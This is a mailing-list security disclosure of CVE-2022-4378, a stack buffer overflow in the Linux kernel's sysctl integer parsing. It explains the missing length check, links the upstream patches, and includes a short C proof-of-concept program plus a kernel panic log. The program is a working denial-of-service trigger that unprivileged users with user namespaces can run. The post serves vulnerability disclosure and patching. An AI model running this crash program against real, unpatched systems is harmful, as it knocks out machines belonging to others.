oss-sec mailing list archives

CVE-2022-4378: Linux kernel stack-based buffer overflow


From: Kyle Zeng <zengyhkyle () gmail com>
Date: Fri, 9 Dec 2022 09:11:25 -0700

Hi there,

I recently found a stack-based buffer overflow in the Linux kernel,
which can cause DOS and is potentially exploitable. This bug affects
the following kernel versions: latest, 6.0, 5.15, 5.10, 5.4, 4.19,
4.14, and 4.9. I already contacted security () kernel org and helped them
patch the vulnerable kernel versions.

# Vulnerability
The vulnerability is caused by a missing check on user input. More
specifically, __do_proc_dointvec function has the following snippet:
~~~
if (write) {
    ......
    if (left > PAGE_SIZE - 1)
        left = PAGE_SIZE - 1;
    p = buffer;
}
......
if (write) {
    left -= proc_skip_spaces(&p);
~~~
In this snippet, `buffer` and `p` represent a buffer containing
user-supplied input and it can contain more than 1 page of data. It
first truncates user input to 1 page (by marking number of bytes
`left` as 1 page). However, in a later call to `proc_skip_spaces` (a
function that assumes the argument is a NULL-terminated string), it
forgets the "up to 1 page" limit, processes all user input, and
calculates how many leading spaces are there in the user input. In the
buffer contains more than 1 page of spaces, `left` will be set to a
negative value. The negative value will then be passed to
`proc_get_long` and the least significant 4 bytes will be used as
length for memcpy that copies data to kernel stack, causing
stack-based buffer overflow: (the check on `len` won't work because
`len` is signed)
~~~
static int proc_get_long(...)
{
    char tmp[TMPBUFLEN];
    int len = *size;

    if (len > TMPBUFLEN - 1)
        len = TMPBUFLEN - 1;

    memcpy(tmp, *buf, len);
    ......
}
~~~

# Patch
The patch consists of two parts:
1.  refactor `proc_skip_spaces`, instead of assuming the argument is a
NULL-terminated string, it now will process data up to a limit. The
patch can be found here:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bce9332220bd677d83b19d21502776ad555a0e73
2. fix the signness issue in `len`:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cfaf34be9fcd1a8285a294e18986bfc41a409c

# Trigger
The bug is triggerable by non-root users if they have access to
user-namespace. A proof-of-concept crash program that causes kernel
panic is attached. To run the POC, you need net namespace. In other
words, you can trigger the bug using the following command: `unshare
-rn` and then `./poc`.

Best,
Kyle Zeng

===========================================
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void)
{
    int fd = open("/proc/sys/net/ipv4/tcp_rmem", O_WRONLY);
    void *a = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
    memset(a, '\x09', 0x2000);
    write(fd, a, 0x2000);
    return 0;
}
============================================
[    7.150435] BUG: stack guard page was hit at 00000000eea91c87
(stack is 00000000fdd90d6b..000000009d81213d)
[    7.152330] kernel stack overflow (page fault): 0000 [#1] SMP NOPTI
[    7.153467] CPU: 3 PID: 476 Comm: poc Not tainted 5.10.157 #37
[    7.154815] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.15.0-1 04/01/2014
[    7.156633] RIP: 0010:memcpy_erms+0x6/0x10
[    7.157118] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48
c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8
48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40
38 fe
[    7.158177] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282
[    7.158488] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f
[    7.158932] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000
[    7.159347] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000
[    7.159802] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58
[    7.160201] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff
[    7.160603] FS:  0000000001a533c0(0000) GS:ffff88803ed80000(0000)
knlGS:0000000000000000
[    7.161053] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    7.161373] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0
[    7.161769] PKRU: 55555554
[    7.161924] Call Trace:
[    7.162076]  proc_get_long+0x90/0x190
[    7.162286] Modules linked in:
[    7.162463] ---[ end trace d4a913b02029fee9 ]---
[    7.162722] RIP: 0010:memcpy_erms+0x6/0x10
[    7.162952] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48
c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8
48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40
38 fe
[    7.164044] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282
[    7.164370] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f
[    7.164780] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000
[    7.165188] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000
[    7.165595] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58
[    7.166002] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff
[    7.166431] FS:  0000000001a533c0(0000) GS:ffff88803ed80000(0000)
knlGS:0000000000000000
[    7.166889] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    7.167218] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0
[    7.167661] PKRU: 55555554
[    7.167820] Kernel panic - not syncing: Fatal exception
[    7.168333] Kernel Offset: disabled
[    7.168544] Rebooting in 1000 seconds..


Current thread: